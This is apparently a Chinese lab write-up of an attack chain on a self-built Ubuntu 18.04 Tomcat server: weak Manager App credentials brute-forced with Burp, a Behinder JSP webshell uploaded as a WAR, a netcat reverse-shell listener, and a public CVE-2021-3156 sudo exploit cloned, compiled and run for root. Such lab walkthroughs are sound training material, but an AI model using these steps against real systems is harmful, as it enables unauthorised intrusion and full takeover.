该实验利用ubuntu 18.04以普通用户tomcat身份运行tomct中间件,利用Manager App弱口令上传webshell,获得tomcat权限,再利用sudo提取漏洞(CVE-2021-3156),将tomcat权限提升为root权限。
系统:Ubuntu 18.04.5 LTS
软件:apache-tomcat-9.0.45
webshell管理工具:Behinder_v3.0 Beta 11【t00ls专版】:https://github.com/rebeyond/Behinder/releases

0x01 安装jdk

jdk8下载:https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html

0x02 安装tomcat

tomcat下载地址:https://tomcat.apache.org/download-90.cgi
tomcat安装方法:https://blog.csdn.net/loveer0/article/details/82591266

0x03 新建tomcat用户及目录

sudo useradd tomcat #新建用户为tomcat
sudo passwd tomcat #设置tomcat密码
sudo mkdir /home/tomcat
sudo chown -R tomcat /home/tomcat

0x04 tomcat 开启Manager App

tomcat默认访问/manager/html会响应403,需要后台进行设置。参考文章:https://blog.csdn.net/weixin_42350212/article/details/108185991

1.修改conf/tomcat-users.xml

#加入如下代码,添加用户名tomcat,密码tomcat
<role rolename="admin-gui"/>
<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="admin-gui,manager-gui"/>

2.修改webapps/manager/META-INF/context.xml

#添加允许远程访问的ip地址
<Valve className="org.apache.catalina.valves.RemoteAddrValve"
 allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1|192\.168\.1\.\d+"/>

0x05 模拟manager/html爆破

burpsuite模拟爆破方法:https://my.oschina.net/u/3838688/blog/4430445
使用burpsuite的intruder模块,使用Custom iterator方法对Authorization字段的用户名和密码进行爆破,通过返回长度和状态码判断是否爆破成功。
爆破密码.png

0x06 jsp木马打包成war包

#使用冰蝎中的shell.jsp木马,打包成war包
jar -cvf test.war shell.jsp

0x07 上传war包

将打包好的test.war包上传到tomcat中。观察流量,可以发现war包以表单格式上传,服务器返回消息:OK,表明WAR包上传成功。
上传war包.png
上传成功.png

0x08 使用冰蝎管理工具连webshell

冰蝎默认密码:rebeyond
新增shell.png
冰蝎流量.png

0x09 制作sudo提权漏洞exp并上传

由于是使用tomcat用户启动的tomcat,所以权限为普通用户权限,现在利用sudo提取漏洞提权到root权限。
在本地服务器上下载并编译该EXP。

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make

编译完代码后,会生成sudo-hax-me-a-sandwich文件和libnss_X文件夹,把这2个文件利用冰蝎上传到目标服务器上。

0x10 反弹shell执行sudo本地提权漏洞

控制端用nc监听端口 nc -lvp 3333
再利用冰蝎反弹shell模块反弹shell
反弹shell.png
然后给上传的sudo-hax-me-a-sandwich文件执行权限,之后运行exp,就发现权限为root权限了。
反弹shell执行exp.png

Last modification:May 23rd, 2021 at 10:48 pm